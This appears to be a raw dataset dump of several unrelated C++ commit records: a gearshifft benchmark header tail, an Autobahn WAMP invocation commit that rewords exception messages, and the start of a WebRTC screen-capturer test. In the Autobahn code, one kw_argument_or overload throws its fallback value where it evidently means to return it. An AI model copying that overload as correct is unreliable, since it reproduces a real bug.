T_FFT_Is_Normalized,\n typename T_FFTs,\n typename T_Precisions>\n void run() {\n if(configured_==false)\n return;\n\n AppT::getInstance().createContext();\n\n auto init_function = []() {\n Run<Context, T_FFT_Is_Normalized, T_FFTs, T_Precisions> instance;\n ::boost::unit_test::framework::master_test_suite().add( instance() );\n return true;\n };\n\n ::boost::unit_test::unit_test_main( init_function,\n boost_vargv_.size(),\n boost_vargv_.data() );\n\n AppT::getInstance().destroyContext();\n AppT::getInstance().dumpResults();\n }\n\n private:\n bool configured_ = false;\n std::vector<char*> boost_vargv_;\n };\n\n} \/\/ gearshifft\n\n#endif \/\/ BENCHMARK_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2014 Tavendo GmbH\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"wamp_message_type.hpp\"\n\n#include <boost\/lexical_cast.hpp>\n#include <stdexcept>\n#include <tuple>\n\nnamespace autobahn {\n\ninline wamp_invocation_impl::wamp_invocation_impl()\n : m_zone()\n , m_details(EMPTY_DETAILS)\n , m_arguments(EMPTY_ARGUMENTS)\n , m_kw_arguments(EMPTY_KW_ARGUMENTS)\n , m_send_result_fn()\n , m_request_id(0)\n{\n}\n\ntemplate <typename T>\nT wamp_invocation_impl::details(const std::string& key) const\n{\n if (m_details.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_details.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_details.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(key + \" detail argument doesn't exist\");\n}\n\ntemplate <typename T>\nT wamp_invocation_impl::detail(const char *key) const\n{\n if (m_details.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_details.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_details.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(std::string(key) + \" keyword argument doesn't exist\");\n}\n\ntemplate<typename Map>\nMap wamp_invocation_impl::details() const\n{\n return m_details.as<Map>();\n}\n\ninline std::size_t wamp_invocation_impl::number_of_arguments() const\n{\n return m_arguments.type == msgpack::type::ARRAY ? m_arguments.via.array.size : 0;\n}\n\ninline std::size_t wamp_invocation_impl::number_of_kw_arguments() const\n{\n return m_kw_arguments.type == msgpack::type::MAP ? m_kw_arguments.via.map.size : 0;\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::argument(std::size_t index) const\n{\n if (m_arguments.type != msgpack::type::ARRAY || m_arguments.via.array.size <= index) {\n throw std::out_of_range(\"no argument at index \" + boost::lexical_cast<std::string>(index));\n }\n return m_arguments.via.array.ptr[index].as<T>();\n}\n\ntemplate <typename List>\ninline List wamp_invocation_impl::arguments() const\n{\n return m_arguments.as<List>();\n}\n\ntemplate <typename List>\ninline void wamp_invocation_impl::get_arguments(List& args) const\n{\n m_arguments.convert(args);\n}\n\ntemplate <typename... T>\ninline void wamp_invocation_impl::get_each_argument(T&... args) const\n{\n auto args_tuple = std::make_tuple(std::ref(args)...);\n m_arguments.convert(args_tuple);\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument(const std::string& key) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(key + \" keyword argument doesn't exist\");\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument(const char* key) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(std::string(key) + \" keyword argument doesn't exist\");\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument_or(const std::string& key, const T& fallback) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n return fallback;\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument_or(const char* key, const T& fallback) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw fallback;\n}\n\ntemplate <typename Map>\ninline Map wamp_invocation_impl::kw_arguments() const\n{\n return m_kw_arguments.as<Map>();\n}\n\ntemplate <typename Map>\ninline void wamp_invocation_impl::get_kw_arguments(Map& kw_args) const\n{\n m_kw_arguments.convert(kw_args);\n}\n\ninline void wamp_invocation_impl::empty_result()\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict]\n packer.pack_array(3);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate<typename List>\ninline void wamp_invocation_impl::result(const List& arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict, Arguments|list]\n packer.pack_array(4);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate<typename List, typename Map>\ninline void wamp_invocation_impl::result(\n const List& arguments, const Map& kw_arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict, Arguments|list, ArgumentsKw|dict]\n packer.pack_array(5);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(arguments);\n packer.pack(kw_arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ninline void wamp_invocation_impl::error(const std::string& error_uri)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri]\n packer.pack_array(5);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate <typename List>\ninline void wamp_invocation_impl::error(const std::string& error_uri, const List& arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri, Arguments|list]\n packer.pack_array(6);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n packer.pack(arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate <typename List, typename Map>\ninline void wamp_invocation_impl::error(\n const std::string& error_uri,\n const List& arguments, const Map& kw_arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri, Arguments|list, ArgumentsKw|dict]\n packer.pack_array(7);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n packer.pack(arguments);\n packer.pack(kw_arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ninline void wamp_invocation_impl::set_send_result_fn(send_result_fn&& send_result)\n{\n m_send_result_fn = std::move(send_result);\n}\n\ninline void wamp_invocation_impl::set_request_id(std::uint64_t request_id)\n{\n m_request_id = request_id;\n}\n\ninline void wamp_invocation_impl::set_details(const msgpack::object& details)\n{\n m_details = details;\n}\n\ninline void wamp_invocation_impl::set_zone(msgpack::zone&& zone)\n{\n m_zone = std::move(zone);\n}\n\ninline void wamp_invocation_impl::set_arguments(const msgpack::object& arguments)\n{\n m_arguments = arguments;\n}\n\ninline void wamp_invocation_impl::set_kw_arguments(const msgpack::object& kw_arguments)\n{\n m_kw_arguments = kw_arguments;\n}\n\ninline bool wamp_invocation_impl::sendable() const\n{\n return static_cast<bool>(m_send_result_fn);\n}\n\ninline void wamp_invocation_impl::throw_if_not_sendable()\n{\n if (!sendable()) {\n throw std::runtime_error(\"tried to call result() or error() but wamp_invocation \"\n \"is not sendable (double call?)\");\n }\n}\n\n} \/\/ namespace autobahn\n<commit_msg>Clean up exception wording<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (C) 2014 Tavendo GmbH\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"wamp_message_type.hpp\"\n\n#include <boost\/lexical_cast.hpp>\n#include <stdexcept>\n#include <tuple>\n\nnamespace autobahn {\n\ninline wamp_invocation_impl::wamp_invocation_impl()\n : m_zone()\n , m_details(EMPTY_DETAILS)\n , m_arguments(EMPTY_ARGUMENTS)\n , m_kw_arguments(EMPTY_KW_ARGUMENTS)\n , m_send_result_fn()\n , m_request_id(0)\n{\n}\n\ntemplate <typename T>\nT wamp_invocation_impl::details(const std::string& key) const\n{\n if (m_details.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_details.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_details.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(key + \" detail doesn't exist\");\n}\n\ntemplate <typename T>\nT wamp_invocation_impl::detail(const char *key) const\n{\n if (m_details.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_details.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_details.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(std::string(key) + \" detail doesn't exist\");\n}\n\ntemplate<typename Map>\nMap wamp_invocation_impl::details() const\n{\n return m_details.as<Map>();\n}\n\ninline std::size_t wamp_invocation_impl::number_of_arguments() const\n{\n return m_arguments.type == msgpack::type::ARRAY ? m_arguments.via.array.size : 0;\n}\n\ninline std::size_t wamp_invocation_impl::number_of_kw_arguments() const\n{\n return m_kw_arguments.type == msgpack::type::MAP ? m_kw_arguments.via.map.size : 0;\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::argument(std::size_t index) const\n{\n if (m_arguments.type != msgpack::type::ARRAY || m_arguments.via.array.size <= index) {\n throw std::out_of_range(\"no argument at index \" + boost::lexical_cast<std::string>(index));\n }\n return m_arguments.via.array.ptr[index].as<T>();\n}\n\ntemplate <typename List>\ninline List wamp_invocation_impl::arguments() const\n{\n return m_arguments.as<List>();\n}\n\ntemplate <typename List>\ninline void wamp_invocation_impl::get_arguments(List& args) const\n{\n m_arguments.convert(args);\n}\n\ntemplate <typename... T>\ninline void wamp_invocation_impl::get_each_argument(T&... args) const\n{\n auto args_tuple = std::make_tuple(std::ref(args)...);\n m_arguments.convert(args_tuple);\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument(const std::string& key) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(key + \" keyword argument doesn't exist\");\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument(const char* key) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw std::out_of_range(std::string(key) + \" keyword argument doesn't exist\");\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument_or(const std::string& key, const T& fallback) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key.size() == kv.key.via.str.size\n && key.compare(0, key.size(), kv.key.via.str.ptr, kv.key.via.str.size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n return fallback;\n}\n\ntemplate <typename T>\ninline T wamp_invocation_impl::kw_argument_or(const char* key, const T& fallback) const\n{\n if (m_kw_arguments.type != msgpack::type::MAP) {\n throw msgpack::type_error();\n }\n std::size_t key_size = strlen(key);\n for (std::size_t i = 0; i < m_kw_arguments.via.map.size; ++i) {\n const msgpack::object_kv& kv = m_kw_arguments.via.map.ptr[i];\n if (kv.key.type == msgpack::type::STR && key_size == kv.key.via.str.size\n && memcmp(key, kv.key.via.str.ptr, key_size) == 0)\n {\n return kv.val.as<T>();\n }\n }\n throw fallback;\n}\n\ntemplate <typename Map>\ninline Map wamp_invocation_impl::kw_arguments() const\n{\n return m_kw_arguments.as<Map>();\n}\n\ntemplate <typename Map>\ninline void wamp_invocation_impl::get_kw_arguments(Map& kw_args) const\n{\n m_kw_arguments.convert(kw_args);\n}\n\ninline void wamp_invocation_impl::empty_result()\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict]\n packer.pack_array(3);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate<typename List>\ninline void wamp_invocation_impl::result(const List& arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict, Arguments|list]\n packer.pack_array(4);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate<typename List, typename Map>\ninline void wamp_invocation_impl::result(\n const List& arguments, const Map& kw_arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [YIELD, INVOCATION.Request|id, Options|dict, Arguments|list, ArgumentsKw|dict]\n packer.pack_array(5);\n packer.pack(static_cast<int>(message_type::YIELD));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(arguments);\n packer.pack(kw_arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ninline void wamp_invocation_impl::error(const std::string& error_uri)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri]\n packer.pack_array(5);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate <typename List>\ninline void wamp_invocation_impl::error(const std::string& error_uri, const List& arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri, Arguments|list]\n packer.pack_array(6);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n packer.pack(arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ntemplate <typename List, typename Map>\ninline void wamp_invocation_impl::error(\n const std::string& error_uri,\n const List& arguments, const Map& kw_arguments)\n{\n throw_if_not_sendable();\n\n auto buffer = std::make_shared<msgpack::sbuffer>();\n msgpack::packer<msgpack::sbuffer> packer(*buffer);\n\n \/\/ [ERROR, INVOCATION, INVOCATION.Request|id, Details|dict, Error|uri, Arguments|list, ArgumentsKw|dict]\n packer.pack_array(7);\n packer.pack(static_cast<int>(message_type::ERROR));\n packer.pack(static_cast<int>(message_type::INVOCATION));\n packer.pack(m_request_id);\n packer.pack_map(0);\n packer.pack(error_uri);\n packer.pack(arguments);\n packer.pack(kw_arguments);\n\n m_send_result_fn(buffer);\n m_send_result_fn = send_result_fn();\n}\n\ninline void wamp_invocation_impl::set_send_result_fn(send_result_fn&& send_result)\n{\n m_send_result_fn = std::move(send_result);\n}\n\ninline void wamp_invocation_impl::set_request_id(std::uint64_t request_id)\n{\n m_request_id = request_id;\n}\n\ninline void wamp_invocation_impl::set_details(const msgpack::object& details)\n{\n m_details = details;\n}\n\ninline void wamp_invocation_impl::set_zone(msgpack::zone&& zone)\n{\n m_zone = std::move(zone);\n}\n\ninline void wamp_invocation_impl::set_arguments(const msgpack::object& arguments)\n{\n m_arguments = arguments;\n}\n\ninline void wamp_invocation_impl::set_kw_arguments(const msgpack::object& kw_arguments)\n{\n m_kw_arguments = kw_arguments;\n}\n\ninline bool wamp_invocation_impl::sendable() const\n{\n return static_cast<bool>(m_send_result_fn);\n}\n\ninline void wamp_invocation_impl::throw_if_not_sendable()\n{\n if (!sendable()) {\n throw std::runtime_error(\"tried to call result() or error() but wamp_invocation \"\n \"is not sendable (double call?)\");\n }\n}\n\n} \/\/ namespace autobahn\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2013 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <string.h>\n\n#include <algorithm>\n#include <initializer_list>\n#include <memory>\n#include <utility>\n\n#include \"webrtc\/modules\/desktop_capture\/screen_capturer.h\"\n\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"webrtc\/base\/checks.h\"\n#include \"webrtc\/base\/constructormagic.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/modules\/desktop_capture\/rgba_color.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_capture_options.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_frame.h\"\n#include \"webrtc\/modules\/desktop_capture\/desktop_region.h\"\n#include \"webrtc\/modules\/desktop_capture\/screen_capturer_mock_objects.h\"\n#include \"webrtc\/modules\/desktop_capture\/screen_drawer.h\"\n#include \"webrtc\/system_wrappers\/include\/sleep.h\"\n\n#if defined(WEBRTC_WIN)\n#include \"webrtc\/modules\/desktop_capture\/win\/screen_capturer_win_directx.h\"\n#endif \/\/ defined(WEBRTC_WIN)\n\nusing ::testing::_;\nusing ::testing::AnyNumber;\nusing ::testing::Return;\n\nconst int kTestSharedMemoryId = 123;\n\nnamespace webrtc {\n\nnamespace {\n\nACTION_P(SaveUniquePtrArg, dest) {\n *dest = std::move(*arg1);\n}\n\n\/\/ Returns true if color in |rect| of |frame| is |color|.\nbool ArePixelsColoredBy(const DesktopFrame& frame,\n DesktopRect rect,\n RgbaColor color) {\n \/\/ updated_region() should cover the painted area.\n DesktopRegion updated_region(frame.updated_region());\n updated_region.IntersectWith(rect);\n if (!updated_region.Equals(DesktopRegion(rect))) {\n return false;\n }\n\n \/\/ Color in the |rect| should be |color|.\n uint8_t* row = frame.GetFrameDataAtPos(rect.top_left());\n for (int i = 0; i < rect.height(); i++) {\n uint8_t* column = row;\n for (int j = 0; j < rect.width(); j++) {\n if (color != RgbaColor(column)) {\n return false;\n }\n column += DesktopFrame::kBytesPerPixel;\n }\n row += frame.stride();\n }\n return true;\n}\n\n} \/\/ namespace\n\nclass ScreenCapturerTest : public testing::Test {\n public:\n void SetUp() override {\n capturer_.reset(\n ScreenCapturer::Create(DesktopCaptureOptions::CreateDefault()));\n }\n\n protected:\n void TestCaptureUpdatedRegion(\n std::initializer_list<ScreenCapturer*> capturers) {\n RTC_DCHECK(capturers.size() > 0);\n \/\/ A large enough area for the tests, which should be able to fulfill by\n \/\/ most of systems.\n const int kTestArea = 512;\n const int kRectSize = 32;\n std::unique_ptr<ScreenDrawer> drawer = ScreenDrawer::Create();\n if (!drawer || drawer->DrawableRegion().is_empty()) {\n LOG(LS_WARNING) << \"No ScreenDrawer implementation for current platform.\";\n return;\n }\n if (drawer->DrawableRegion().width() < kTestArea ||\n drawer->DrawableRegion().height() < kTestArea) {\n LOG(LS_WARNING) << \"ScreenDrawer::DrawableRegion() is too small for the \"\n \"CaptureUpdatedRegion tests.\";\n return;\n }\n\n for (ScreenCapturer* capturer : capturers) {\n capturer->Start(&callback_);\n }\n\n \/\/ Draw a set of |kRectSize| by |kRectSize| rectangles at (|i|, |i|). One of\n \/\/ (controlled by |c|) its primary colors is |i|, and the other two are\n \/\/ 0xff. So we won't draw a white rectangle.\n for (int c = 0; c < 3; c++) {\n for (int i = 0; i < kTestArea - kRectSize; i += 16) {\n DesktopRect rect = DesktopRect::MakeXYWH(i, i, kRectSize, kRectSize);\n rect.Translate(drawer->DrawableRegion().top_left());\n RgbaColor color((c == 0 ? (i & 0xff) : 0x7f),\n (c == 1 ? (i & 0xff) : 0x7f),\n (c == 2 ? (i & 0xff) : 0x7f));\n drawer->Clear();\n drawer->DrawRectangle(rect, color);\n TestCaptureOneFrame(capturers, drawer.get(), rect, color);\n }\n }\n }\n\n void TestCaptureUpdatedRegion() {\n TestCaptureUpdatedRegion({capturer_.get()});\n }\n\n#if defined(WEBRTC_WIN)\n bool CreateDirectxCapturer() {\n if (!ScreenCapturerWinDirectx::IsSupported()) {\n LOG(LS_WARNING) << \"Directx capturer is not supported\";\n return false;\n }\n\n DesktopCaptureOptions options(DesktopCaptureOptions::CreateDefault());\n options.set_allow_directx_capturer(true);\n capturer_.reset(ScreenCapturer::Create(options));\n return true;\n }\n\n void CreateMagnifierCapturer() {\n DesktopCaptureOptions options(DesktopCaptureOptions::CreateDefault());\n options.set_allow_use_magnification_api(true);\n capturer_.reset(ScreenCapturer::Create(options));\n }\n#endif \/\/ defined(WEBRTC_WIN)\n\n std::unique_ptr<ScreenCapturer> capturer_;\n MockScreenCapturerCallback callback_;\n\n private:\n \/\/ Repeats capturing the frame by using |capturers| one-by-one for 600 times,\n \/\/ typically 30 seconds, until they succeeded captured a |color| rectangle at\n \/\/ |rect|. This function uses |drawer|->WaitForPendingDraws() between two\n \/\/ attempts to wait for the screen to update.\n void TestCaptureOneFrame(std::vector<ScreenCapturer*> capturers,\n ScreenDrawer* drawer,\n DesktopRect rect,\n RgbaColor color) {\n size_t succeeded_capturers = 0;\n const int wait_capture_round = 600;\n for (int i = 0; i < wait_capture_round; i++) {\n drawer->WaitForPendingDraws();\n for (size_t j = 0; j < capturers.size(); j++) {\n if (capturers[j] == nullptr) {\n \/\/ ScreenCapturer should return an empty updated_region() if no\n \/\/ update detected. So we won't test it again if it has captured\n \/\/ the rectangle we drew.\n continue;\n }\n std::unique_ptr<DesktopFrame> frame = CaptureFrame(capturers[j]);\n if (!frame) {\n \/\/ CaptureFrame() has triggered an assertion failure already, we\n \/\/ only need to return here.\n return;\n }\n\n if (ArePixelsColoredBy(*frame, rect, color)) {\n capturers[j] = nullptr;\n succeeded_capturers++;\n }\n }\n\n if (succeeded_capturers == capturers.size()) {\n break;\n }\n }\n\n ASSERT_EQ(succeeded_capturers, capturers.size());\n }\n\n \/\/ Expects |capturer| to successfully capture a frame, and returns it.\n std::unique_ptr<DesktopFrame> CaptureFrame(ScreenCapturer* capturer) {\n std::unique_ptr<DesktopFrame> frame;\n EXPECT_CALL(callback_,\n OnCaptureResultPtr(DesktopCapturer::Result::SUCCESS, _))\n .WillOnce(SaveUniquePtrArg(&frame));\n capturer->Capture(DesktopRegion());\n EXPECT_TRUE(frame);\n return frame;\n }\n};\n\nclass FakeSharedMemory : public SharedMemory {\n public:\n FakeSharedMemory(char* buffer, size_t size)\n : SharedMemory(buffer, size, 0, kTestSharedMemoryId),\n buffer_(buffer) {\n }\n virtual ~FakeSharedMemory() {\n delete[] buffer_;\n }\n private:\n char* buffer_;\n RTC_DISALLOW_COPY_AND_ASSIGN(FakeSharedMemory);\n};\n\nclass FakeSharedMemoryFactory : public SharedMemoryFactory {\n public:\n 